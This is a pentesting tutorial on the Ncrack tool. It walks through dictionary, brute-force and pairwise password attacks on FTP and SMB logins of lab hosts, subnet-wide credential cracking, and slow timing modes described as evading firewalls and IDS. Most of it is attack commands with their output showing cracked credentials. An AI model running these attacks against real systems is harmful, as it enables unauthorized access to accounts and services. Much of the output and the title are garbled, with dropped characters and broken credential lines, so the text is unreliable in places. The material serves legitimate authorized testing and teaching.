

# A Detailed Guide on CCCCK

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# **Introduction to Ncrack**

Ncrack is a network authentication tool that helps pentesters find out how vulnerable the credentials protecting a network's access are. The tool is a part of the Kali Linux arsenal and comes pre-installed with the package. It also has a unique feature that allows it to attack multiple targets at once, which is not seen very often in such tools.

Ncrack can be started by typing "ncrack" in the terminal. This shows us all the different options the tool provides us with.

ncrack

syntax: ncrack [Options] {target:service specification/port number}



```
lcrack 0.6 ( http://ncrack.org )
Jsage: ncrack [Options] {target and service specification}
 ARGET SPECIFICATION:
   Can pass hostnames, IP addresses, networks, etc.
   Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
   -iX <inputfilename>: Input from Nmap's -oX XML output format
-iN <inputfilename>: Input from Nmap's -oN Normal output format
  -iL <inputfilename>: Input from list of hosts/networks
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude file>: Exclude list from file
ERVICE SPECIFICATION:
   Can pass target specific services in <service>://target (standard) notation or using -p which will be applied to all hosts in non-standard notation.
   Service arguments can be specified to be host-specific, type of service-specific
   (-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000
   Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl
   -p <service-list>: services will be applied to all non-standard notation hosts
-m <service>:<options>: options will be applied to all services of this type
-g <options>: options will be applied to every service globally
   Misc options:
      ssl: enable SSL over this service
 path <name>: used in modules like HTTP ('=' needs escaping if used)
  db <name>: used in modules like MongoDB to specify the database
  domain <name>: used in modules like WinRM to specify the domain
IMING AND PERFORMANCE:
  Options which take <time> are in seconds, unless you append 'ms' (milliseconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m). Service-specific options:
      cl (min connection limit): minimum number of concurrent parallel connections
      CL (max connection limit): maximum number of concurrent parallel connections
      at (authentication tries): authentication attempts per connection
cu (connection detay): delay <time> between each connection initiation
    cr (connection retries): caps number of service connection attempts
    to (time-out): maximum cracking <time> for service, regardless of success so far
-T<0-5>: Set timing template (higher is faster)
--connection-limit <number>: threshold for total concurrent connections
--stealthy-linear: try credentials using only one connection against each specified host
    until you hit the same host again. Overrides all other timing options.

AUTHENTICATION:
      cd (connection delay): delay <time> between each connection initiation
  -U <filename>: username file
-P <filename>: password file
   --user <username list>: comma-separated username list
   --pass <password list>: comma-separated password list
   --passwords-first: Iterate password list for each username. Default is opposite.
   --pairwise: Choose usernames and passwords in pairs.
 OUTPUT:
   -oN/-oX <file>: Output scan in normal and XML format, respectively, to the given filename
   -oA <basename>: Output in the two major formats at once
```

# **Exploring Modules**

Ncrack is a very versatile tool. It has modules to test most of the popular forms of network authentication. We can see this by checking the modules.

ncrack -V



```
root@kali:~# ncrack -V  

Ncrack version 0.6 ( http://ncrack.org )  
Modules: SSH, RDP, FTP, Telnet, HTTP(S), POP3(S), IMAP, SMB, VNC, SIP, Redis, PostgreSQL,
    MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA
```

#### **Authentication Phase**

#### **Basic Attack**

We have defined this attack as basic because at this phase we only know that port 21 is enabled for FTP service on the victim's machine. So, with the help of the following command, we will try to find out a possible FTP login credential.

```
ncrack ftp://192.168.0.105
```

On executing the above command, it will try to crack the password for the anonymous login account as shown in the below image.

```
oot@kali:~# ncrack ftp://192.168.0.105 👍
tarting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-05 04:52 EST
iscovered credentials for ftp on 192.168.0.105 21/tcp:
92.168.0.105 21/tcp ftp: 'anonymous'
                                      '123456'
.92.168.0.105 21/tcp ftp: 'anonymous'
                                      '12345'
.92.168.0.105 21/tcp ftp:
                          'anonymous'
                                      '123456789'
92.168.0.105 21/tcp ftp:
                          'anonymous'
                                      'password'
92.168.0.105 21/tcp ftp:
                                      'iloveyou'
                          'anonymous'
92.168.0.105 21/tcp ftp:
                          'anonymous'
                                      'princess'
.92.168.0.105 21/tcp ftp: 'anonymous'
                                      1234567
92.168.0.105 21/tcp ftp:
                                      '12345678'
                          'anonymous'
.92.168.0.105 21/tcp ftp:
                          'anonymous'
                                      'abc123'
                                      'nicole'
.92.168.0.105 21/tcp ftp:
                          'anonymous'
.92.168.0.105 21/tcp ftp:
                          'anonymous'
                                      'daniel'
92.168.0.105 21/tcp ftp: 'anonymous'
                                      'babygirl'
92.168.0.105 21/tcp ftp: 'anonymous'
                                      'monkey'
iscovered credentials for ftp on 192.168.0.105 21/tcp:
```

# **Dictionary Attack**

Suppose you are willing to obtain the correct login credentials for any account, such as FTP, SSH, or HTTP, when you have the following situations:

Situation1-Know the only username but don't know the password

Situation2-Don't know the username but know the password

Situation3-Neither have a username nor a password

In such a situation, you should use a wordlist dictionary and then go with the ncrack command, respectively.



ncrack -user msfadmin -P pass.txt 192.168.0.105:21 ncrack -U user.txt -pass msfadmin 192.168.0.105:21 ncrack -U user.txt -P pass.txt 192.168.0.105:21

```
root@kali:~# ncrack -user msfadmin -P pass.txt 192.168.0.105:21 🤝
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-04 09:38 EST
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: |msfadmin' 'msfadmin'
Ncrack done: 1 service scanned in 15.00 seconds.
Ncrack finished.
root@kali:~# ncrack -U user.txt -pass msfadmin 192.168.0.105:21 🗬
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-04 09:38 EST
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: | 'msfadmin' 'msfadmin'
Ncrack done: 1 service scanned in 15.01 seconds.
Ncrack finished.
root@kali:~# ncrack -U user.txt -P pass.txt 192.168.0.105:21 存
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-04 09:39 EST
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'
Ncrack done: 1 service scanned in 21.01 seconds.
Ncrack finished.
```

#### **Brute Force Attack**

Now, whenever you consider yourself in the following situations:

Situtation1-Close assumption of a few usernames and passwords for any host: service and don't want to use a dictionary, then you can go with the following command. This will reduce our effort of guessing truthful credentials.

ncrack -user msfadmin,ignite -pass msfadmin,123 ftp://192.168.0.106



Situtation2-Close assumption of usernames and passwords, but there are multiple hosts in a network and guessing a valid login for the destination machine is a time-consuming process.

Again, with the help of ncrack, the following command will be able to crack a valid login for any host present in the network.

ncrack -user msfadmin,ignite -pass msfadmin,123 192.168.0.1/24:21

```
root@kali:~# ncrack -user msfadmin,ignite -pass msfadmin,123 ftp://192.168.0.106

Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-07 06:07 EST

Discovered credentials for ftp on 192.168.0.106 21/tcp:
192.168.0.106 21/tcp ftp: ignite' '123

Ncrack done: 1 service scanned in 12.09 seconds.

Ncrack finished.
root@kali:~# ncrack -user msfadmin,ignite -pass msfadmin,123 192.168.0.1/24:21

Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-07 06:08 EST

Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' imsfadmin'
Discovered credentials for ftp on 192.168.0.106 21/tcp:
192.168.0.106 21/tcp ftp: 'ignite' '123'

Ncrack done: 256 services scanned in 12.03 seconds.

Ncrack finished.
```

#### **Pairwise Attack**

Choose usernames and passwords in the pair.

If you do not give any dictionary, then ncrack will go with its default dictionary for pairing password for anonymous login.

```
ncrack -v --pairwise 192.168.0.105:21
```

From the given below image, you can observe that we had successfully completed an FTP login with the help of a paired password, Matthew.



```
oot@kali:~# ncrack -v --pairwise 192.168.0.105:21 🚓
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-04 10:57 EST
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'matthew'
Discovered credentials on ftp://192.168.0.105:21 'anonymous'
                                                          'hello1'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'shorty1'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' '1password'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'katie1'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'girlpower'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'selene'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'terrence'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'elisabeth'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'hellohello'
ftp://192.168.0.105:21 finished.
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'anonymous' 'shorty1'
192.168.0.105 21/tcp ftp: 'anonymous' '1password'
192.168.0.105 21/tcp ftp: 'anonymous' 'katie1'
192.168.0.105 21/tcp ftp: 'anonymous' 'girlpower'
192.168.0.105 21/tcp ftp: 'anonymous' 'terrence'
Ncrack done: 1 service scanned in 216.08 seconds.
Probes sent: 1689 | timed-out: 0 | prematurely-closed: 0
Ncrack finished.
 oot@kali:~# ftp 192.168.0.105 🛑
 onnected to 192.168.0.105.
220 (vsFTPd 2.3.4)
Name (192.168.0.105:root): anonymous
331 Please specify the password.
assword:
 30 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 PORT command successful. Consider using PASV.
.50 Here comes the directory listing.
226 Directory send OK.
ftp>
```



#### Misc Phase

#### **Resume the Attack**

This is probably the feature that takes the cake. We all know how frustrating the loss of connection or any other technical interruption can be during testing. This is where Ncrack is a blessing. If your attack gets interrupted, you can pick it right up right where you left off.

```
ncrack -v --pairwise 192.168.0.105:21
ncrack --resume /root/.ncrack/restore.2018-12-05_04-36
```

```
oot@kali:~# ncrack -v --pairwise
                                  192.168.0.105:21 📥
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-05 04:35 EST
Discovered credentials on ftp://192.168.0.105:21 'anonymous'
                                                            'matthew
Discovered credentials on ftp://192.168.0.105:21 'anonymous'
iscovered credentials on ftp://192.168.0.105:21 'anonymous'
caught SIGINT signal, cleaning up
Saved current session state at: /root/.ncrack/restore.2018-12-05 04-36
coot@kali:~# ncrack --resume /root/.ncrack/restore.2018-12-05 04-36
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'lpassword'
Discovered credentials on ftp://192.168.0.105:21 'anonymous'
                                                            'katie1'
Discovered credentials on ftp://192.168.0.105:21 'anonymous'
                                                            'girlpower'
Discovered credentials on ftp://192.168.0.105:21
                                                'anonymous'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'terrence'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'elisabeth'
Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'hellohello'
ftp://192.168.0.105:21 finished.
Discovered credentials for ftp on 192.168.0.105 21/tcp:
.92.168.0.105 21/tcp ftp:
                         'anonymous'
                                     'matthew'
192.168.0.105 21/tcp ftp:
                         'anonymous'
                                     'hello1'
192.168.0.105 21/tcp ftp:
                         'anonymous'
                                     'shorty1'
192.168.0.105 21/tcp ftp: 'anonymous'
                                     'lpassword'
192.168.0.105 21/tcp ftp:
                         'anonymous' 'katiel'
192.168.0.105 21/tcp ftp:
                         'anonymous'
                                     'girlpower'
192.168.0.105 21/tcp ftp:
                         'anonymous'
                                     'selene'
192.168.0.105 21/tcp ftp:
                         'anonymous' 'terrence'
192.168.0.105 21/tcp ftp: 'anonymous'
                                     'elisabeth'
192.168.0.105 21/tcp ftp: 'anonymous' 'hellohello'
Ncrack done: 1 service scanned in 186.02 seconds.
Probes sent: 1288 | timed-out: 0 | prematurely-closed: 0
Ncrack finished.
```



# **Stop on Success**

As you have seen in the above attack, it keeps on cracking the service until it finds all possible logins, but if you want that, the attack should quit cracking the service after finding one credential. Then you should add the "-f" option to the ncrack command.

ncrack -v --pairwise 192.168.0.105:21 -f

```
root@kali:~# ncrack -v --pairwise 192.168.0.105:21 -f

Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-05 04:40 EST

Discovered credentials on ftp://192.168.0.105:21 'anonymous' 'matthew' ftp://192.168.0.105:21 finished.

Discovered credentials for ftp on 192.168.0.105 21/tcp: 192.168.0.105 21/tcp ftp: 'anonymous' 'matthew'

Ncrack done: 1 service scanned in 24.01 seconds.

Probes sent: 36 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.
```

#### **Obtain Result in List Format**

It always matters how you will maintain your penetration testing report and output results while presenting them. Sometimes it is quite hectic to arrange the result in a well-polished look, especially at that time when you have to penetrate multiple host machines. To shoot such a hotchpotch, ncrack has added the -sL option, which will generate the result in a list format.

ncrack ssh://192.168.0.105 ssh://192.168.0.106 -sL

# **Output Format**

#### **Normal text File**

If you want to store the output of the ncrack result in a Text/XML format.



Then you can use the **-oN option** to save the result in a text file with the help of the given below command and later use the cat command to read the information saved inside that file.

ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oN normal.txt cat normal.txt

Or you can switch to the **-oX option** to save the output result in XML format.

ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oX save.xml

```
root@kali:~# ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oN normal.txt

Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-04 12:09 EST

Discovered credentials for ftp on 192.168.0.106 21/tcp:
192.168.0.106 21/tcp ftp: 'ignite' '123'
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'

Ncrack done: 2 services scanned in 24.01 seconds.

Ncrack finished.
root@kali:~# cat normal.txt 
# Ncrack 0.6 scan initiated Tue Dec 4 12:09:18 2018 as: ncrack -U user.txt -P pass.txt -oN normal.txt 192.168.0.106:21 192.168.0.105:21

Discovered credentials for ftp on 192.168.0.106 21/tcp:
192.168.0.106 21/tcp ftp: 'ignite' '123'
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'
```

#### **All Format At Once**

Suppose you want to store the output of ncrack result in both formats (.txt, .xml), then you can choose the **-oA option** while executing the command.

ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oA output

As you can see, the result was saved in two formats: "output.ncrack" and "output.xml."



```
root@kali:~# ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oA output

Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-04 13:55 EST

Discovered credentials for ftp on 192.168.0.106 21/tcp:
192.168.0.106 21/tcp ftp: 'ignite' '123'
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'

Ncrack done: 2 services scanned in 24.02 seconds.

Ncrack finished.
root@kali:~# cat output.
putput.ncrack output.xml
root@kali:~# cat output.ncrack 
# Ncrack 0.6 scan initiated Tue Dec 4 13:55:34 2018 as: ncrack -U user.txt -P pass.txt -oA output 192.168.0.106:21 192.168.0.105:21

Discovered credentials for ftp on 192.168.0.106 21/tcp:
192.168.0.106 21/tcp ftp: 'ignite' '123'

Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'

# Ncrack done at Tue Dec 4 13:55:58 2018 -- 2 services scanned in 24.02 seconds.
root@kali:~# cat output.xml 
**

# Ncrack done at Tue Dec 4 13:55:58 2018 -- 2 services scanned in 24.02 seconds.
```

### **Append output**

If the testing is being done in iterations, Ncrack gives us the option to append or add the output to an existing file with ease.

As you can observe, when we try to crack the FTP service for the host 192.168.0.106, it gives ignite: 123 as the login credential that I had to save in a text file.

```
ncrack -U user.txt -P pass.txt 192.168.0.106:21 -oN normal.txt
```

But on crack SMB service for the host 192.168.0.105, it gives msfadmin: msfadmin as login credential and here I had appended the output from the previous text file.

```
ncrack -U user.txt -P pass.txt 192.168.0.105:445 -oN normal.txt --append-output
```

Conclusion: So, by reading the normal.txt file, we got both output results in one place rather than having to clobber the specified output files.



```
kali:~# ncrack -U user.txt -P pass.txt 192.168.0.106:21 -oN normal.txt 👍
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-04 14:03 EST
Discovered credentials for ftp on 192.168.0.106 21/tcp: 192.168.0.106 21/tcp ftp: 'ignite' '123'
Ncrack done: 1 service scanned in 18.02 seconds.
Ncrack finished.
    @kali:~# cat normal.txt
# Ncrack 0.6 scan initiated Tue Dec 4 14:03:23 2018 as: ncrack -U user.txt -P pass.txt -oN
normal.txt 192.168.0.106:21
Discovered credentials for ftp on 192.168.0.106 21/tcp:
192.168.0.106 21/tcp ftp: 'ignite' '123'
 Ncrack done at Tue Dec 4 14:03:41 2018 -- 1 service scanned in 18.02 seconds.
 oot@kali:~# ncrack -U user.txt -P pass.txt 192.168.0.105:445 -oN normal.txt --append-output
                                                                                    む
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-04 14:03 EST
Discovered credentials for netbios-ssn on 192.168.0.105 445/tcp:
192.168.0.105 445/tcp netbios-ssn: 'msfadmin' 'msfadmin'
Ncrack done: 1 service scanned in 9.00 seconds.
Ncrack finished.
    @kali:~# cat normal.txt
 Ncrack 0.6 scan initiated Tue Dec 4 14:03:23 2018 as: ncrack -U user.txt -P pass.txt -oN
normal.txt 192.168.0.106:21

Discovered credentials for ftp on 192.168.0.106 21/tcp: 192.168.0.106 21/tcp
 Ncrack done at Tue Dec 4 14:03:41 2018 -- 1 service scanned in 18.02 seconds.
 Ncrack 0.6 scan initiated Tue Dec 4 14:03:53 2018 as: ncrack -U user.txt -P pass.txt -oN
normal.txt --append-output 192.168.0.105:445
Discovered credentials for netbios-ssn on 192.168.0.105 445/tcp:
192.168.0.105 445/tcp netbios-ssn: 'msfadmin' 'msfadmin'
 Ncrack done at Tue Dec 4 14:04:02 2018 -- 1 service scanned in 9.00 seconds.
oot@kali:~#
```

#### **Nsock Trace**

Ncrack lets us run the nsock trace on our target while attacking it. We can set the trace level anywhere from 0 to 10 depending on our objective. The output from this operation is quite large.

ncrack -U user.txt -P pass.txt 192.168.0.106:21 --nsock-trace 2



```
ot@kali:~# ncrack -U user.txt -P pass.txt 192.168.0.106:21 --nsock-trace 2
tarting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-04 14:12 EST
.ibnsock nsock_timer_create(): Timer created - 500ms from now. EID 12
ibnsock nsock timer create(): Timer created - 1000ms from now. EID 20
ibnsock nsock iod new2(): nsock iod new (IOD #1)
ibnsock nsock connect tcp(): TCP connection requested to 192.168.0.106:21 (IOD #1) EID 24
ibnsock nsock trace handler callback(): Callback: CONNECT SUCCESS for EID 24 [192.168.0.106
ibnsock <code>nsock_read():</code> <code>Read request from IOD #1 [192.168.0.106:21] (timeout: 20000ms) <code>EID 3</code></code>
ibnsock nsock trace handler callback(): Callback: READ SUCCESS for EID 34 [192.168.0.106:21
 (20 bytes): 220 (vsFTPd 3.0.2)..
ibnsock nsock_write(): Write request for 12 bytes to IOD #1 EID 43 [192.168.0.106:21] ibnsock nsock_trace_handler_callback(): Callback: WRITE SUCCESS for EID 43 [192.168.0.106::
ibnsock nsock_read(): Read request from IOD #1 [192.168.0.106:21] (timeout: 20000ms) EID 50
ibnsock nsock trace handler callback(): Callback: READ SUCCESS for EID 50 [192.168.0.106:21
 (34 bytes): 331 Please specify the password...
ibnsock nsock_write(): Write request for 10 bytes to IOD #1 EID 59 [192.168.0.106:21]
ibnsock nsock trace handler callback(): Callback: WRITE SUCCESS for EID 59 [192.168.0.106:2
ibnsock nsock_read(): Read request from IOD #1 [192.168.0.106:21] (timeout: 20000ms) EID 6
ibnsock nsock trace handler callback(): Callback: TIMER SUCCESS for EID 12
```

We weren't kidding when we said the output is large!

# **Timing and Performance**

#### **Timing Templates**

In ncrack, the timing template is defined by -T0-5>, with -T0 being the slowest and -T5 being the fastest. By default, all nCrack scans run on the -T3 timing template. The timing template in Ncrack is used to optimise and improve the quality and performance of the scan to get the desired results.

T5: Insane Scan

T4: Aggressive Scan

T3: Normal Scan

T2: Polite Scan

T1: Sneaky Scan

ncrack -U user.txt -P pass.txt 192.168.0.105:21 -T1

As you can observe from the given below image, it took **187.57 seconds**, and for this reason, T0 and T1 are used to evade firewalls and IDS/IPS.

ncrack -U user.txt -P pass.txt 192.168.0.105:21 -T5 ncrack -U user.txt -P pass.txt 192.168.0.105:21

On executing the above command, you can compare the time of completing the process in both results; it took **15.01 seconds** during T5 and **24.00 seconds** during default (T3).



```
root@kali:~# ncrack -U user.txt -P pass.txt 192.168.0.105:21 -T1 👍
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-05 03:26 EST
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'
Ncrack done: 1 service scanned in 187.57 seconds
Ncrack finished.
 oot@kali:~# ncrack -U user.txt -P pass.txt 192.168.0.105:21 -T5 🧲
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-05 03:34 EST
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'
Ncrack done: 1 service scanned in 15.01 seconds
Ncrack finished.
oot@kali:~# ncrack -U user.txt -P pass.txt 192.168.0.105:21 📥
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-05 03:34 EST
Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'
Ncrack done: 1 service scanned in 24.00 seconds
Ncrack finished.
coot@kali:~#
```

# **Service-Specific Options**

cl (min connection limit): minimum number of concurrent parallel connections

**CL** (max connection limit): maximum number of concurrent parallel connections

at (authentication tries): authentication attempts per connection

cd (connection delay): delay <time> between each connection initiation

cr (connection retires): caps number of service connection attempts

to (time-out): maximum cracking <time> for service, regardless of success so far

You can use the above option while penetrating the whole network to crack any service.

ncrack ssh://192.168.0.105 -m ftp:cl=10,CL=30,at=5,cd=2ms,cr=10,to=2ms -sL -d



```
oot@kali:~# ncrack ssh://192.168.0.105 -m ftp:cl=10,CL=30,at=5,cd=2ms,cr=10,to=2ms -sL -d
                                                                        叴
tarting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-05 07:31 EST
---- [ Timing Template ] ----
l=7, CL=80, at=0, cd=0, cr=30, to=0
---- [ ServicesTable ] -----
ERVICE
                  <u>cl CL at cd cr to</u> ssl path db
                                                         domain
                10 30 5
tp:21
                                10 2 no
                                             null null
                                                         null
sh:22
                                             null null
                                                         null
                                         no
elnet:23
                 N/A N/A N/A N/A N/A no
                                              null null
                                                         null
ttp:80
                                              null null
                 N/A N/A N/A N/A N/A no
                                                         null
                 N/A N/A N/A N/A N/A no
                                              null null
                 N/A N/A N/A N/A N/A
map:143
                                              null null
etbios-ssn:445
                 N/A N/A N/A N/A N/A
                                              null null
                                                         null
                 N/A N/A N/A N/A N/A no
                                              null null
                                                         null
mb:139
                                              null null
                 N/A N/A N/A N/A N/A no
                                                         null
ttps:443
                 N/A N/A N/A N/A N/A yes
                                             null null
                                                         null
wa:443
                 N/A N/A N/A N/A N/A yes
                                             null null
                                                         null
ip:5060
                 N/A N/A N/A N/A N/A no
                                             null null
                                                         null
op3s:995
                 N/A N/A N/A N/A N/A yes null null
                                                         null
ssql:1443
                 N/A N/A N/A N/A N/A no
                                             null null
                                                         null
/sql:3306
                                 N/A N/A no
                                             null null
                                                         null
s-wbt-server:3389 N/A N/A N/A N/A N/A N/A
                                              null null
                 N/A N/A N/A N/A N/A
                                              null null
                                                         null
sql:5432
                 N/A N/A N/A N/A N/A no
                                             null null
                                                         null
                                             null null
nc:5801
                 N/A N/A N/A N/A N/A no
                                                         null
                 N/A N/A N/A N/A N/A no
                                             null null
                                                         null
                 N/A N/A N/A N/A N/A no
                                              null null
                                                         null
                 N/A N/A N/A N/A N/A no
nc:6001
                                              null null
                                                         null
edis:6379
                 N/A N/A N/A N/A N/A no
                                              null null
                                                         null
inrm:5985
                 N/A N/A N/A N/A N/A no
                                              null null
                                                         Workstation
inrm:5986
                 N/A N/A N/A N/A N/A no
                                              null null
                                                         Workstation
                 N/A N/A N/A N/A N/A N/A no
N/A N/A N/A N/A N/A N/A no
assandra:9160
                                              null null
assandra:9042
                                              null null
ongodb:27017
                 N/A N/A N/A N/A N/A no
                                              null admin null
---- [ Targets ]
lost: 192.168.0.105
ssh:22 cl=7, CL=80, at=0, cd=0, cr=30, to=0ms, ssl=no, path=/, db=admin, domain=Workstation
crack done: 1 service would be scanned.
robes sent: 0 | timed-out: 0 | prematurely-closed: 0
```

# **Target Specification**

# **Input from Nmap's XML**

You might be aware of the functionality of the Nmap tool. Suppose while scanning a network with the help of nmap you have stored its result in XML format, then you can use the ncrack **-iX option** to crack the running services with the help of XML file format.

nmap -sV -p21 192.168.0.106 -oX nmap.xml ncrack -user ignite -pass 123 -iX nmap.xml



As you can observe from the given image, ncrack cracked the password for FTP without specifying any service or port in the command.

```
<mark>∵oot@kali:~#</mark> nmap -sV -p21 192.168.0.106 -oX nmap.xml <□
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-06 12:54 EST
Nmap scan report for 192.168.0.106
Host is up (0.00063s latency).
PORT
     STATE SERVICE VERSION
21/tcp open ftp
                    vsftpd 3.0.2
MAC Address: 00:0C:29:37:8D:D6 (VMware)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https
Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds
  ot@kali:~# cat nmap.xml 🤙
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nmaprun>
<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text
<!-- Nmap 7.70 scan initiated Thu Dec 6 12:54:17 2018 as: nmap -sV -p21
<nmaprun scanner="nmap" args="nmap -sV -p21 -oX nmap.xml 192.168.0.106" s
="7.70" xmloutputversion="1.04">
<scaninfo type="syn" protocol="tcp" numservices="1" services="21"/>
<verbose level="0"/>
<debugging level="0"/>
<host starttime="1544118858" endtime="1544118858"><status state="up" reas
<address addr="192.168.0.106" addrtype="ipv4"/>
address addr="00:0C:29:37:8D:D6" addrtype="mac" vendor="VMware"/>
<hostnames>
:/hostnames>
ports><port protocol="tcp" portid="21"><state state="open" reason="syn-a"
sion="3.0.2" ostype="Unix" method="probed" conf="10"><cpe>cpe:/a:vsftpd:v
</ports>
<times srtt="630" rttvar="3770" to="100000"/>
</host>
runstats><finished time="1544118858" timestr="Thu Dec         6 12:54:18 2018"
 1 IP address (1 host up) scanned in 1.07 seconds" exit="success"/><host</pre>
</runstats>
:/nmaprun>
 oot@kali:~# ncrack -user ignite -pass 123 -iX nmap.xml 🤙
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-06 12:54 EST
Discovered credentials for ftp on 192.168.0.106 21/tcp:
192.168.0.106 21/tcp ftp: 'ignite' '123'
Ncrack done: 1 service scanned in 3.00 seconds.
Ncrack finished.
```



# Input from the Text file

Executing commands again and again on multiple hosts is quite a time-consuming effort. Therefore, you can place all host IPs in a text file and then use them for cracking any particular service.

ncrack -U user.txt -P pass.txt -iL host.txt -p21

```
root@kali:~# cat host.txt  
192.168.0.101
192.168.0.105
192.168.0.106
root@kali:~# ncrack -U user.txt -P pass.txt -iL host.txt -p21  
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-06 13:03 EST

Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'
Discovered credentials for ftp on 192.168.0.106 21/tcp:
192.168.0.106 21/tcp ftp: 'ignite' '123'

Ncrack done: 3 services scanned in 24.03 seconds.

Ncrack finished.
root@kali:~#
```

#### **Exclude Host from List**

Suppose you are using a list that contains multiple IPs or a range of IPs and you don't want to crack service for a specific IP, then you can use **-exclude option** to eliminate that particular IP from the list of hosts.

```
ncrack -U user.txt -P pass.txt -iL host.txt -p21 --exclude 192.168.0.106
```

As you can observe, this time it does not crack for 192.168.0.106 and shows the result for the remaining IP.

```
root@kali:~# ncrack -U user.txt -P pass.txt -iL host.txt -p21 --exclude 192.168.0.106
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-12-06 13:07 EST

Discovered credentials for ftp on 192.168.0.105 21/tcp:
192.168.0.105 21/tcp ftp: 'msfadmin' 'msfadmin'

Ncrack done: 2 services scanned in 21.00 seconds.

Ncrack finished.
root@kali:~#
```





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